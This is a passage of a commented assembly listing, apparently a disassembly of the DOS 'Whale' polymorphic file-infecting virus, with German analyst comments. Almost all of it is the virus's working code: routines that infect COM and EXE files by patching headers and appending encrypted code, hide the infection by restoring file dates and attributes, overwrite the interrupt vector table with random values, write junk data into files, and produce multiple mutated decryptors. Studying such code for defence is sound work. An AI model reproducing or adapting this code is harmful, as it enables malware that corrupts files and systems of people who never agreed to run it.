; L„nge LastPage MOV WORD PTR DS:[CodBuf+4 ],AX ; Anzahl Pages CMP WORD PTR DS:[CodBuf+14h],+01h ; IP-Init = 1? JNZ J036CA ; ( Whale !) JMP J03761 ; dann fertig ! ;-------------------------------------------------------------------- DB 0E8h ;-------------------------------------------------------------------- J036CA: CALL Check_Verfallsdatum MDECODE 53 MOV WORD PTR DS:[CodBuf+14h],0001h ; IP-INIT = 0001h MOV AX,SI ; MaxParas -> AX SUB AX,WORD PTR DS:[CodBuf+8] ; AX=AX-Headerparas MOV WORD PTR DS:[CodBuf+16h ],AX ; CS-INIT <-AX !!!! ADD WORD PTR DS:[CodBuf+4 ],+12h ; 12 Pages dazu ; (== Whale-Size ) ;----------------------------------------------------------- ; eine andere Art, ein Virus zu entdecken : ; Wenn ein EXE wie ein COM initialisiert wird... ;----------------------------------------------------------- MOV WORD PTR DS:[CodBuf+010h],0FFFEh; SP-Init = COM-LIKE MOV WORD PTR DS:[CodBuf+ 0Eh],AX ; SS-Init = CS-Init MCODE 53 CALL Infect_File J036F6: JMP J03761 ;===================================================================== ;=======================================( Verfahren fr COM-Files )=== ;===================================================================== J036F9: CMP SI,0F00h ; COM-Size > 61440 Byte ?!? JNB J03761 ; Dann geht es eben nicht ... ;--------------( merken der ersten 6 Byte des COM )--- MDECODE 54 MOV AX,WORD PTR DS:[CodBuf ] ; whale: MOV WORD PTR DS:[0004h],AX ; AX = 20CC ADD DX,AX ; DX = 0, da COM MOV AX,WORD PTR DS:[CodBuf+2] MOV WORD PTR DS:[0006h],AX ; AX = 0 ADD DX,AX ; DX = 20CC MOV AX,WORD PTR DS:[CodBuf+4] ; AX = 0 MOV WORD PTR DS:[0008h],AX XOR AX,5348h ; 'SH' !! ; AX = 5348 XOR AX,4649h ; 'FI' !! ; AX = 1501 ADD DX,AX ; DX = 35CD MCODE 54 JZ J03761 ; DX = 0 -> Keine Infektion , ; File kann nicht markiert werden. MOV AX,WORD PTR DS:[D24F2] ; Hole Fileattribut AND AL,04h ; Ist es SYSTEM ? JNZ J03761 ; jmp, wenn ja CALL Check_Verfallsdatum MDECODE 55 ;---------------------( JMP am COM-Start erzeugen )--- MOV CL,0E9h MOV AX,0010h MOV BYTE PTR DS:[CodBuf],CL MUL SI ; AX = COM-L„nge in Byte, ; auf ganzen Paragrafen ; gerundet ADD AX,23B9h ; So weit also + 3 Byte ; zum De-Cryptor MOV WORD PTR DS:[CodBuf+1],AX; hier also "JMP J04BCC" ;---------------------------------------------------- ;-----------------( File als infiziert markieren )--- ;---------------------------------------------------- MOV AX,WORD PTR DS:[CodBuf ]; AX = C9E9 ADD AX,WORD PTR DS:[CodBuf+2]; AX = C9E9+004A =CA33 NEG AX ; AX = - AX = 35CD XOR AX,4649h ; 'FI' !! ; AX = 7384 XOR AX,5348h ; 'SH' !! ; AX = 20CC (!!) MOV WORD PTR DS:[CodBuf+4],AX; Siehe Label "start" MCODE 55 CALL Infect_File ;--------------------------------------( Ende der Infektionsphase )--- J03761: MDECODE 56 MOV AH,3Eh ; CLOSE FILE CALL CS:[@INT21] MOV CX,CS:[D24F2] MOV AX,4301h ; Change File-Attribut MOV DX,CS:[D24F4] ; Offset Filename MOV DS,CS:[D24F6] ; Segment Filename CALL CS:[@INT21] CALL J048CD ; RESET Int 13h und Int 24h MCODE 56 ; Alles ist so wie vorher... RETN ;===================================================================== ;====================================( Vorbereitung fr Infektion )=== ;===================================================================== J0378C: MDECODE 57 PUSH CS MOV AX,5700h ; Get File-date POP DS CALL CS:[@INT21] MOV WORD PTR DS:[FileTime],CX ; Uhrzeit MOV AX,4200h ; SEEK Fileanfang MOV Word Ptr DS:[FileDate],DX XOR CX,CX XOR DX,DX CALL CS:[@INT21] MOV AH,3Fh ; Read file MOV DX,OFFSET CodBuf ; nach DS:DX MOV CL,1Ch ; 1C byte ( EXE-Header ! ) CALL CS:[@INT21] XOR CX,CX ; Weils so schoen war ... MOV AX,4200h XOR DX,DX CALL CS:[@INT21] MOV CL,1Ch ; diesmal nach DS:0004 lesen MOV AH,3Fh ; == CS:2814 MOV DX,0004h CALL CS:[@INT21] XOR CX,CX ; seek file-Ende MOV AX,4202h MOV DX,CX CALL CS:[@INT21] MOV Word Ptr DS:[FileSize+2],DX ; FileSize merken MOV Word Ptr DS:[FileSize ],AX MOV DI,AX ; BEISPIEL : AX=9273 -> DI=9273 ADD AX,000Fh ; AX=9282 ADC DX,+00h ; šbertrag nach DX AND AX,0FFF0h ; AX=9280 SUB DI,AX ; DI=FFF3 MOV CX,0010h ; CX=10 DIV CX ; AX=928 = Anzahl Paras fr File MOV SI,AX ; SI=928 MCODE 57 RETN ;===================================================================== ;=====================================================( Infektion )=== ;===================================================================== Infect_File: MDECODE 58 ;***************************************** JMP CODE_58 ;************************* e-i-n-g-e-f--g-t- ;***************************************** XOR CX,CX MOV AX,4200h ; SEEK File-Anfang MOV DX,CX ; CX=DX=0 CALL CS:[@INT21] ; INT 21h MOV CL,1Ch ; 1C Byte MOV AH,40h ; Write to File MOV DX,Offset CodBuf ; EXE-Header / COM-Start CALL CS:[@INT21] ; INT 21h MOV AX,0010h MUL SI ; AX = AX * maxparas MOV CX,DX ; DX = Offset CodBuf MOV DX,AX ; MOV AX,4200h ; SEEK from start to CX:DX CALL CS:[@INT21] ; INT 21h MOV CX,Offset CodBuf ; CX = CodBuf XOR DX,DX ; DX = 0 ADD CX,DI ; CX = Offset CodBuf+DI MOV AH,40h ; WRITE-FILE CALL Mutate_Whale ; Mutieren CALL @10_Prozent ; jedes 10. Mal Wal ; zerst”ren CALL Suche_Fish ; Jedes 4. Mal FISH.TBL ; schreiben MOV BYTE Ptr DS:[InfectFlag],01h ; "habe infiziert" MOV BYTE Ptr DS:[D2433],01h ; Verschlsseln, schreiben, ; entschlsseln ! PUSH BX PUSH ES PUSH CS POP ES MOV Word Ptr DS:[D2579],SI MOV SI,OFFSET J0491A - Offset VirStart ;----------------------------------------------------- ;----------------------------( Wal-Code zerst”ren )--- ;----------------------------------------------------- MOV BYTE Ptr DS:[SwapCode_5],0CCh ; 3259 , 0e8h MOV BYTE Ptr DS:[SwapCode_2],0C6h ; 3A20 , 0e9h MOV BYTE Ptr DS:[SWAPCODE_6],0CCh ; 2cff , 0c3h ;----------------------------------------------------- CALL Kill_Int_Table ; nur eine einzige Infektion Code_58: MCODE 58 ; pro Session ! ;===================================================================== ;============================================( Zerst”ren des Wals )=== ;===================================================================== CALL PATCH ; gepatchten code ; zerst”ren MOV SI,SWAPCODE_4 XOR WORD Ptr DS:[SI],0EF15h ; PATCH zerst”ren ADD SI,+02h XOR WORD Ptr DS:[SI],4568h ; ---""----------- MOV BYTE Ptr DS:[SwapCode_1],03Dh ; DECODE zerst”ren ;=====( eigentliche infektion )======================= ;=========================; CALL Code_Whale ; Whale kodieren ; ; aber NICHT Lauff„hig !! ; ;=========================; ;-------------------------( und rckg„ngig machen )--- MOV Byte Ptr DS:[SwapCode_1],0E9h XOR WORD Ptr DS:[SI],4568h SUB SI,+02h XOR WORD Ptr DS:[SI],0EF15h ADD SI,SwapCode_3 ; SI = 210Ah CALL PATCH ;===================================================== MDECODE 59 MOV SI,[D2579] POP ES POP BX CALL Write_Trash_To_File MOV CX,WORD PTR DS:[FileTime] MOV AX,5701h ; SET FILEDATUM ! MOV DX,WORD PTR DS:[FileDate] TEST CH,80h ; Stunde > 16 ? JNZ J038C3 ; jmp, wenn nicht OR BYTE PTR CS:[TrashFlag],00h JNZ J038C3 ; TrashFlag = "1" :jmp ADD CH,80h ; Stunde=Stunde-16 J038C3: CALL CS:[@INT21] ; Set Filedatum CODE_59: MCODE 59 RETN ;===================================================================== ;===========================( Den Whale-Code zerst”ren , bei der )=== ;===========================( Infektion jedes 10. COM-Files )=== ;===========================( Zweck : Geburtenkontrolle ! )=== ;===================================================================== @10_Prozent: MDECODE 60 CALL PushALL MOV BYTE PTR CS:[TrashFlag],00h OR BYTE Ptr CS:[Offset Exe_Flag-Offset VirStart],0 JNZ J0390E ; Jmp, wenn EXE-File IN AL,40h CMP AL,19h ; 90 % liegen ber 19h JNB J0390E ; fertig, nichts weiter tun ;-------------------------------------( Wal zerst”rt seinen Code )--- INC BYTE PTR CS:[TrashFlag]; ist jetzt "1" MOV BX,000Ah MOV CX,0016h J038F4: IN AL,40h MOV CS:[BX],AL ; 16h Byte von CS:281A..2830 INC BX ; durch Zufallszahlen berschreiben LOOP J038F4 IN AL,40h MOV BYTE PTR CS:[0001h],AL ; dito den JMP bei CS:2811 IN AL,40h MOV BYTE PTR CS:[0002h],AL IN AL,40h MOV BYTE PTR CS:[0003h],AL J0390E: CALL PopALL MCODE 60 RETN ;---------------------------------------------------- J03916: DB 0E9H,09Dh,0F2H ;JMP J02BB6 => Nirwana ;-------------------------------------------------------------------- ;------------------------------------------------------( Hmmmmm ) --- ;-------------------------------------------------------------------- J03919: ; JZ J03916 ; => Nirwana ! MOV DX,DS ; DX <- DS POP AX ; AX = 20h ADD DX,+10h ; DX = DS:100 MOV DS,DX ; DS = DX MOV BX,[BX] ; BX:=0030:011C, DAS IST DER NEG BX ; TASTATURPUFFER ( 40:1C) ! ADD BX,CX ; es testet den Tastaturpuffer ;******************************************************************** CMP BX,BX ;**** EINGEFšGT ************* ;******************************************************************** JNZ J03936 ; dann direkt in die Dekode-Routine ; mit SI als Returnadresse JZ J03990 ; sonst "decode" scharfmachen ;-------------------------------------------------( trash )--- DW 00A72h DW 00B73H DW 0FEE9H DW 0E9F2h DW 43H ;------------------------------------------------------------- J03936: JMP J02B87 ; = push si, jmp decode ;--------------------------------------------------------------------- DB 0e9h,06dh,0ah,0e9h,0a4h,0fch ;===================================================================== ;========================================( Schreibt Mll in Datei )=== ;===================================================================== Write_Trash_To_File: MDECODE 61 CALL PushALL OR BYTE PTR CS:[TrashFlag],00h JZ J0396A ; falls "0" nichts tun XOR AX,AX IN AL,40h MOV DS,AX MOV DX,0400h ; DX = 400h IN AL,40h XCHG AH,AL IN AL,40h MOV CX,AX AND CH,0Fh ; CX = 0xxxh MOV AH,40h ; WRITE File CALL CS:[@INT21] J0396A: CALL PopALL MCODE 61 RETN ;---------------------------------------------------------( trash )--- DB 0b9h,01ch,000h,089H DB 0d7h,0B3h,000h,0e8H ;========================================================()=========== J0397A: MDECODE 62 CALL SaveRegisters MOV DI,DX ADD DI,+0Dh PUSH DS POP ES MCODE 62 JMP J039EC ; ist die Datei ausfhrbar ? ;===================================================================== ;===========================================( Decode scharfmachen )=== ;===================================================================== J03990: MOV BYTE PTR CS:[SI+SwapCode_1],0E9h; JMP erzeugen JMP J03A1C DB 0EAh ;===================================================================== ;======================================( zerst”rt die INT-Tabelle )=== ;===================================================================== Kill_Int_Table: MDECODE 63 CALL PushALL MOV BX,23F1h ; 4C01 MOV CX,000Eh ; CX = 0Eh PUSH AX MOV AX,0000h MOV ES,AX ; ES = 0000 POP AX J039AF: IN AX,40h ; Hole zufallszahl MOV SI,AX PUSH ES:[SI] ; zerstoere INT-Tabelle POP [BX] ; durch 14 Zufalls-Werte ! INC BX ; Die in [bx] gemerkt werden LOOP J039AF CALL PopALL MCODE 63 RETN ;===================================================================== ;===================================( check auf ausfhrbare Datei )=== ;===================================================================== J039C3: MDECODE 64 CALL SaveRegisters PUSH DS POP ES MOV CX,0050h MOV DI,DX MOV BL,00h XOR AX,AX CMP BYTE Ptr DS:[DI+01h],':' ; Laufwerk im Filenamen ? JNZ J039E1 MOV BL,[DI] ; Ja, dann Buchstabe nach BL AND BL,1Fh ; HEX-ZAHL drausmachen J039E1: MOV CS:[D2428],BL ; und in die DRIVE-Variable REPNZ SCASB ; ENDE des Filenamens suchen MCODE 64 ;--------------------------------------------------------------------- ;---------------------------------( Erkennung der Datei-Extension )--- ;--------------------------------------------------------------------- J039EC: MDECODE 65 MOV AX,[DI-03h] ; ENDE - 3, ist EXTENSION AND AX,0DFDFh ; Gross-Schrift ADD AH,AL MOV AL,[DI-04h] AND AL,0DFh ; Gross-schrift ADD AL,AH MOV BYTE PTR CS:[EXE_FLAG],00h ;--------------------------------------------------------------------- ;------------( Angenommen, es war ein COM, dann gilt : )------------- ;------------( AND AX,0DFDF : AX = 4D4F / 'MO' )------------- ;------------( ADD AH,AL : AX = 9C4F )------------- ;------------( MOV AL,[Di-4]: AX = 9C43 / 'xC' )------------- ;------------( ADD AL,AH ; AX = 9CDF )------------- ;--------------------------------------------------------------------- ;------------( BEI EXE kommt AL=E2 heraus, bei COM AL=DF)------------- ;--------------------------------------------------------------------- CMP AL,0DFh ; Also : IST ES EIN COM ? MCODE 65 J03A0C: JZ J03A17 INC BYTE PTR CS:[EXE_FLAG] CMP AL,0E2h ; Also : IST ES EIN EXE ? JNZ J03A23 ; Weder COM noch EXE J03A17: CALL GetRegsFromVirstack ; COM oder EXE CLC ; Carry-Flag l”schen RETN ;===================================================================== ;====================================( JMP wird zeitweise erzeugt )=== ;====================================( Einziger JMP zum Relokator )=== ;===================================================================== J03A1C: XOR AX,AX PUSH ES POP DS J03A20: JMP Relokator ;===================================================================== J03A23: CALL GetRegsFromVirstack ; Weder COM noch EXE J03A26: STC ; Carry-Flag setzen RETN DB 2Dh ;===================================================================== ;===============================================( Get current PSP )=== ;===================================================================== GET_Current_PSP:MDECODE 66 PUSH BX MOV AH,51h CALL CS:[@INT21] MOV CS:[@PSP],BX POP BX MCODE 66 RETN ;===================================================================== ;==========================(--------------------------------------)=== ;==========================( HIER ENTSTEHEN DIE MUTANTEN ! )=== ;==========================(--------------------------------------)=== ;===================================================================== Mutate_Whale: MDECODE 67 CALL PushALL ; AH = 40h ! OR BYTE PTR CS:[InfectFlag],00h ; Hab schon infiziert ! JNZ J03A7C IN AL,40h ; Zufallszahl holen CMP AL,80h ; nur jedes 2 Mal arbeiten J03A55: JB J03A7C CALL Decode_3A84 ; Bereich 3A84h...436Ch J03A5A: IN AL,40h ; Zufallszahl holen CMP AL,1Eh ; kleiner als 1eh / 30d JNB J03A5A XOR AH,AH MOV BX,M_SIZE MUL BX ; Zufallszahl * 4Ch / 76d ; AX : 0000....08E8 ADD AX,Offset J03A84-Offset VirStart ; AX : 1274....1B5C PUSH CS PUSH CS POP DS POP ES ; ES=DS=CS ;====================== MOV SI,AX ; Quelle : 1274....1B5C ; bzw. 3A84....436C ; in Stcken zu 4Ch !!! ;====================== MOV DI,Offset D4BB5-Offset VirStart MOV CX,M_SIZE ; 4C Byte von CS:SI ; nach CS:23A5/4BB5 ; schaufeln CLD REPZ MOVSB CALL Code_3A84 ; Bereich 3A84h...436Ch J03A7C: CALL PopALL MCODE 67 RETN ;=================================( dieser Code steht immer davor )=== ;Code_Whale: PUSH CX ; PUSH BX ; MOV BX,FirstByte ; MOV CX,Code_len ; 2385h ; Wal-Size bis J04BB5 ;===================================================================== ; Die Nummerierung der Mutanten folgt dem TBSCAN.DAT-File ;===================================================================== ;=====================================================( MUTANT # 3)=== ;===================================================================== MUT_3 EQU $ J03A84: STD ; = OFFSET 4BB5 MOV CX,DreiByte ; 0BD8h J03A88: XOR WORD Ptr DS:[BX],1326h ADD BX,+03h LOOP J03A88 MOV CX,BX POP CX MOV BX,CX POP CX MOV AH,60h JMP SHORT J03AB8 ;--------( einsprung ) ---------( -1131 )------------ J03A9B: PUSH SI ; = 4BCC, SI = 100h CALL J03AA1 ; DW 6945h ; 4BD0 J03AA1: POP DX ; DX = 4BD0 PUSH CS SUB DX,23A0H ; DX = 2830 POP DS MOV CX,DreiByte ; CX = 0BD8 XCHG DX,SI ; DX = 100h, SI = 2830 J03AAD: XOR WORD Ptr DS:[SI],1326h ADD SI,+03h LOOP J03AAD JMP SHORT J03AC0 ; SI = 4BB8 ;---------------------------------------------------- J03AB8: SUB AH,20h ; => AH = 40, WRITE FILE ;----------------( db-code )------------------------- Call_int21 3,MUT_3 ;---------------- JMP J03A9B ;---------------------------------------------------- J03AC0: SUB SI,Offset D4BB5-4C40H ; SI = SI + 8Bh = 4C43h/D2433 CMP BYTE Ptr DS:[SI],01h JNZ J03ACB POP SI ; originales SI vom Stack RETN J03ACB: PUSH ES POP DS ;---------------- J03ACD: JMP_entry 3,mut_3 ;---------------- ;===================================================================== ;=====================================================( MUTANT #5 )=== ;===================================================================== MUT_5 EQU $ J03AD0: MOV CX,0BD7h ; CX = 0bd7 ; = OFFSET 4BB5 J03AD3: XOR WORD Ptr DS:[BX],4096h ; also 11c3 mal, da BX um 3 ; erh”ht wird ADD BX,+03h LOOP J03AD3 MOV AX,ES POP AX MOV BX,AX POP CX MOV AH,50h JMP SHORT J03B04 J03AE6: PUSH SI ;--------( einsprung ) ------ J03AE7: STD CALL J03AED PUSH CS DEC DI J03AED: POP DX ; DX = PUSH CS SUB DX,23A0h ; DX = POP DS MOV CX,0BD7h ; CX = XCHG DX,SI ; SI = J03AF9: XOR WORD Ptr DS:[SI],4096h ADD SI,+03h LOOP J03AF9 JMP SHORT J03B0C ; SI = J03B04: SUB AH,10h ; AH = 40h ! CALL_INT21 5,MUT_5 JMP J03AE6 J03B0C: SUB SI,0FF72h ; SI = CMP BYTE Ptr DS:[SI],01h JNZ J03B17 POP SI RETN J03B17: PUSH ES POP DS J03B18: JMP_ENTRY 5,mut_5 ;===================================================================== ;===================================================( MUTANT # 20 )=== ;===================================================================== MUT_20 EQU $ CMC ; = OFFSET 4BB5 CALL J03B61 ; CX = 11C3 J03B20: XOR WORD Ptr DS:[BX],0406h INC BX ADD BX,+01h CMC LOOP J03B20 POP BX CMC POP CX CALL_INT21 20,MUT_20 PUSH AX POP AX ;--------( einsprung ) ------ CALL J03B5E ; DS <- 4BCF MOV BX,CS PUSH BX MOV BX,DS ; BX <- DS, BX = 4BCF ! POP DS ; DS=CS ADD BX,0DC61h ; BX = 2830 CALL J03B61 ; CX = 11C3 MOV DX,0002h ; DX = 2 J03B46: XOR WORD Ptr DS:[BX],0406h ADD BX,DX LOOP J03B46 ; BX = 4BB6 ADD BX,008Dh ; BX = 4C43 / 2443 PUSH [BX] ; [BX]=[2443] ???????? POP CX ; CX = ? DEC CL ; CX = ? JZ J03B60 ; PUSH ES POP DS CALL_ENTRY 20,mut_20 J03B5E: POP DS PUSH DS J03B60: RETN J03B61: MOV CX,1100h OR CL,0C3h ; CX = 11C3 RETN ;===================================================================== ;===================================================( MUTANT # 21 )=== ;===================================================================== MUT_21 EQU $ CALL J03BAE ; CX = 11C3 J03B6B: XOR WORD Ptr DS:[BX],239Ah ADD BX,+01h CLC INC BX LOOP J03B6B POP BX CLD POP CX CALL_INT21 21,MUT_21 PUSH DX INC DX POP DX ;--------( einsprung ) ------ CALL J03BAB ; DS <- 4BCF MOV BX,CS PUSH BX MOV BX,DS ; BX = 4BCF POP DS ; DS = CS ADD BX,0DC61h ; BX = 2830 CALL J03BAE ; CX = 11C3 MOV AX,0002h ; AX = 0002 J03B92: XOR WORD Ptr DS:[BX],239Ah NOP ADD BX,AX LOOP J03B92 ADD BX,008Dh ; BX = 4BB6 PUSH [BX] POP BX DEC BL ; CMP byte Ptr DS:[4C43],1 JZ J03BAD PUSH ES POP DS CALL_ENTRY 21,mut_21 ;------------------- J03BAB: POP DS PUSH DS J03BAD: RETN J03BAE: MOV CX,0C311h ; MOV CX,11C3 XCHG CH,CL ; RET RETN ;===================================================================== ;===================================================( MUTANT # 22 )=== ;===================================================================== MUT_22 EQU $ CALL J03BF9 ; CX = 11C3 J03BB7: XOR WORD Ptr DS:[BX],0138h ADD BX,+02h LOOP J03BB7 POP BX CLC POP CX CALL_INT21 22,MUT_22 JMP SHORT J03BCB DB 23h,87h,0ch ;--------( einsprung ) ------ J03BCB: CALL J03BF6 ; DS <- MOV BX,CS PUSH DS ; DS = CS MOV DS,BX POP BX ; BX = SUB BX,239Fh ; BX = CALL J03BF9 ; CX = 11C3 MOV AX,0002h ; AX = 0002 J03BDE: XOR WORD Ptr DS:[BX],0138h ADD BX,AX LOOP J03BDE ADD BX,008Dh ; BX = PUSH [BX] POP BX DEC BL ; JZ J03BF8 PUSH ES POP DS JMP_ENTRY 22,mut_22 J03BF6: POP DS PUSH DS J03BF8: RETN J03BF9: MOV CX,0C311h ; MOV CX,11C3 XCHG CL,CH ; RET RETN DB 0CCh ;===================================================================== ;===================================================( MUTANT # 23 )=== ;===================================================================== MUT_23 EQU $ XCHG CL,CH ; = OFFSET 4BB5 XOR CX,94E0h ; CX=2385 -> 8523 -> 11c3 J03C06: INC BX ADD WORD Ptr DS:[BX],00FEh INC BX LOOP J03C06 MOV AX,DX POP DX MOV BX,DX POP CX PUSH AX JMP SHORT J03C42 ;--------( einsprung ) ------ J03C17: CALL J03C1B J03C1A: RETN J03C1B: MOV BX,0DC61h ; BX = POP CX ; CX = ADD BX,CX ; BX = PUSH CS MOV CX,11C4h ; CX = POP DS ; DS = DEC CL ; CX = 11C3 J03C28: INC BX SUB WORD Ptr DS:[BX],00FEh INC BX LOOP J03C28 PUSH SI ; BX = MOV SI,BX ; SI = ADD SI,008Dh ; SI = DEC BYTE Ptr DS:[SI] ; POP SI JZ J03C1A PUSH ES CLC POP DS JMP_ENTRY 23,mut_23 J03C42: POP DX MOV AL,40h XCHG AH,AL ; AH = 40h !!!!!!! J03C47: CALL_INT21 23,MUT_23 JMP J03C17 END_23: ;===================================================================== ;===================================================( MUTANT # 27 )=== ;===================================================================== MUT_27 EQU $ SUB CH,12h ; = OFFSET 4BB5 ADD CL,3Eh ; cx=2385 -> 11c3 J03C52: ADD [BX],CX ADD BX,+04h SUB BX,+02h LOOP J03C52 XCHG BP,BX POP BP XCHG BX,BP JMP SHORT J03C8D ;--------( einsprung ) ------ J03C63: CALL J03C67 J03C66: RETN J03C67: POP CX MOV BX,0DC61h ADD BX,CX PUSH CS MOV CX,10C3h POP DS INC CH J03C74: SUB [BX],CX INC BX STC INC BX LOOP J03C74 MOV BP,BX ADD BP,008Dh DEC BYTE PTR [BP+00h] POP BP JZ J03C66 PUSH ES POP DS JMP_ENTRY 27,mut_27 J03C8D: POP CX PUSH BP MOV BP,2567h INC BP J03C93: CALL DS:BP JMP J03C63 ;===================================================================== ;===================================================( MUTANT # 24 )=== ;===================================================================== Mut_24 EQU $ ADD CX,0EE3Eh ; = OFFSET 4BB5 JMP SHORT J03CA7 db 43h J03C9F: NEG WORD Ptr DS:[BX] ADD BX,+02h LOOP J03C9F J03CA6: RETN J03CA7: CALL J03C9F CALL J03CCE DB 0EAH DB 12H ;--------( einsprung ) ------ J03CAF: PUSH AX CALL J03CDD ADD DX,0DC60h MOV CH,11h MOV CL,0C3h XCHG BX,CX CALL J03C9F TEST BYTE Ptr DS:[D2433],0FEh JZ J03CA6 MOV CX,ES MOV DS,CX CALL_ENTRY 24,mut_24 ;------------------- J03CCE: POP CX POP AX XCHG AX,BX POP AX XCHG AX,CX MOV AH,3Fh INC AH CALL_INT21 24,mut_24 POP AX JMP J03CAF J03CDD: MOV BX,CS J03CDF: MOV DS,BX POP DX PUSH DX RETN ;===================================================================== ;====================================================( MUTANT # 28)=== ;===================================================================== mut_28 EQU $ XOR CX,3246h ; = OFFSET 4BB5 JMP SHORT J03CF3 J03CEA: XOR [BX],CX ADD BX,+03h DEC BX LOOP J03CEA J03CF2: RETN J03CF3: CALL J03CEA CALL J03D18 J03CF9: XCHG BL,BH ;--------( einsprung ) ------ CALL J03D29 XCHG DX,BX ADD BX,0DC61h MOV CX,ZweiByte CALL J03CEA TEST BYTE Ptr DS:[D2433],0FEh JZ J03CF2 MOV DX,ES MOV DS,DX JMP_ENTRY 28,mut_28 J03D18: POP AX POP AX MOV BX,AX POP AX MOV CX,AX XOR AH,AH OR AH,40h ; AH = 40h CALL_INT21 28,mut_28 JMP J03CF9 J03D29: MOV BX,CS J03D2B: MOV DS,BX POP DX PUSH DX RETN ;===================================================================== ;====================================================( MUTANT # 26)=== ;===================================================================== mut_26 EQU $ SUB BX,+02h ; = OFFSET 4BB5 ADD CX,0EE3Ch MOV AX,[BX] J03D39: INC BX INC BX SUB [BX],AX LOOP J03D39 POP BX XLAT ; MOV AL,[BX+AL] POP CX JMP SHORT J03D6C J03D44: POP BX PUSH BX J03D46: RETN ;--------( einsprung ) ------ J03D47: PUSH CS POP DS CALL J03D44 ADD BX,0DC5Dh MOV CX,11C1h MOV AX,[BX] J03D55: INC BX INC BX ADD [BX],AX LOOP J03D55 ADD BX,0092h CMP BYTE Ptr DS:[BX+01h],01h JZ J03D46 PUSH ES AND AX,CX POP DS CALL_ENTRY 26,mut_26 ;------------------- J03D6C: MOV AH,30h ADD AH,10h PUSH SI MOV SI,1466h CALL [SI+1100h] ; CALL INT 21h POP SI JMP J03D47 ;===================================================================== ;=====================================================( MUTANT #1 )=== ;===================================================================== MUT_1 EQU $ SUB CX,11C4h ; = OFFSET 4BB5 SUB BX,+02h MOV AX,[BX] J03D85: INC BX INC BX SUB [BX],AX LOOP J03D85 POP BX POP CX JMP SHORT J03DB9 J03D8F: POP BX CLD PUSH BX J03D92: RETN ;--------( einsprung ) ------ J03D93: PUSH CS POP DS CALL J03D8F ; BX = J03D98: SUB BX,23A3h ; BX = MOV CX,11C1h ; CX = MOV DX,[BX] J03DA1: INC BX INC BX ADD [BX],DX LOOP J03DA1 PUSH BP MOV BP,0433h CMP BYTE PTR [BP+2000h],01h ; [2433] POP BP JZ J03D92 ; AUSGANG ! PUSH ES POP DS CALL_ENTRY 1,mut_1 ;----------------- J03DB9: MOV AH,20h ADD AH,AH ; AH = 40h => Schreiben !!!!!! MOV BP,2466h CALL CS:[BP+0100h] ; CALL Int 21h ! JMP J03D93 DB 89H ;===================================================================== ;====================================================( MUTANT #17 )=== ;===================================================================== MUT_17 EQU $ xor ax,ax ; = OFFSET 4BB5 ADD CX,BX J03DCC: MOV AL,[BX] SUB [BX-01],AL SUB BX,+02h CMP BX,+1Fh JNZ J03DCC POP BX CLD POP CX CALL J03E04 ; = JMP 3E04 ;--------( einsprung ) ------ J03DDF: PUSH CS STD POP DS POP AX ; AX = CALL J03E11 ; AX = XCHG AX,BX ; BX = MOV CX,ZweiByte ; CX = SUB BX,+1Eh ; BX = J03DED: MOV DL,[BX] ADD [BX-01h],DL DEC BX ; (!!!!!) CMC DEC BX LOOP J03DED ; BX = CMP BYTE Ptr DS:[D2433],01h JZ J03E13 PUSH ES CMC POP DS CALL_ENTRY 17,mut_17 J03E04: POP AX XOR AH,AH OR AH,40h ; AH = 40h, SCHREIBEN CALL DS:[@INT21] ; CALL INT 21h CALL J03DDF J03E11: POP AX PUSH AX J03E13: RETN ;===================================================================== ;====================================================( MUTANT # 16)=== ;===================================================================== MUT_16 EQU $ ADD BX,CX ; = OFFSET 4BB5 MOV CX,0001h INC CX ; CX = 2 J03E1A: MOV AL,[BX] ADD [BX-01h],AL SUB BX,CX CMP BX,+1Fh JNZ J03E1A POP BX POP CX CALL J03E4F ;--------( einsprung ) ------ J03E2B: POP BX ; BX = PUSH CS POP DS CALL J03E5C ; AX = XCHG AX,BX ; AX = SUB BX,+1Dh ; BX = MOV CX,ZweiByte ; CX = J03E38: MOV AL,[BX] SUB [BX-01h],AL DEC BX DEC BX LOOP J03E38 ; BX = CMP BYTE Ptr DS:[D2433],01h JZ J03E5E PUSH ES SUB AX,AX POP DS CALL_ENTRY 16,mut_16 ;---------------------------------------------------------------------- J03E4F: POP AX MOV AH,40h ; AH = 40h PUSH SI MOV SI,Offset @INT21+2 ; Schreiben ? Int 21h ? J03E56: CALL SI POP SI CALL J03E2B J03E5C: POP AX PUSH AX J03E5E: RETN DB 0ebh ;===================================================================== ;===================================================( MUTANT # 18 )=== ;===================================================================== mut_18 EQU $ J03E60: NOT BYTE Ptr DS:[BX] ; = OFFSET 4BB5 NEG BYTE Ptr DS:[BX] ADD BX,+01h LOOP J03E60 POP BX CLD POP CX CALL_INT21 18,mut_18 JMP SHORT J03E78 J03E71: MOV DX,CS MOV DS,DX CALL J03E7B ;--------( einsprung ist $-1 )------- ; ADD BH,DL ; JMP J03E71 ;------------------------------------- J03E78: XLAT ; MOV AL,[BX+AL] JMP J03E71 J03E7B: POP DX ; DX = SUB DX,239Dh ; DX = STC XCHG BX,DX ; BX = MOV CX,CODE_LEN XOR 0F0FH ; CX = CLC XOR CX,0F0Fh ; CX = J03E8B: NEG BYTE Ptr DS:[BX] NOT BYTE Ptr DS:[BX] INC BX STD LOOP J03E8B ; BX = MOV CH,8Dh ; CX = MOV AL,01h ADD AL,CH ; XLAT ; MOV AL,[BX+AL] ; AL = [] CLC CMP AL,01h JZ J03E56 ;-<<>>--< ZEIGT AUF L0L0L0 >-----<<>>-- MOV CX,ES MOV AX,SS SUB AX,AX ; AX <- 0 PUSH DS MOV DS,CX ; DS <- ES POP CX ; CX <- DS JMP_ENTRY 18,mut_18 ;===================================================================== ;====================================================( MUTANT #30 )=== ;===================================================================== Mut_30 EQU $ J03EAC: NEG BYTE Ptr DS:[BX] ; = OFFSET 4BB5 NOT BYTE Ptr DS:[BX] INC BX LOOP J03EAC POP CX POP BX XCHG CX,BX CALL_INT21 30,mut_30 JMP SHORT J03EC3 J03EBC: MOV AX,CS MOV DS,AX CALL J03EC5 ; ;-------( einsprung )-------------- J03EC3: JMP J03EBC J03EC5: POP AX ; AX = SUB AX,239Ch ; AX = XCHG AX,BX ; BX = MOV CX,CODE_LEN XOR 0FDABH ; XOR CX,0FDABh ; CX = 2385 J03ED1: NOT BYTE Ptr DS:[BX] NEG BYTE Ptr DS:[BX] INC BX LOOP J03ED1 ; BX = MOV AL,8Eh XLAT ; MOV AL,[BX+AL]; AL = [] CMP AL,01h JZ J03EF2 MOV AX,ES MOV BX,AX ; BX <- ES PUSH DS MOV DS,BX ; DS <- ES POP BX ; BX <- DS SUB AX,AX ; AX <- 0 JMP_ENTRY 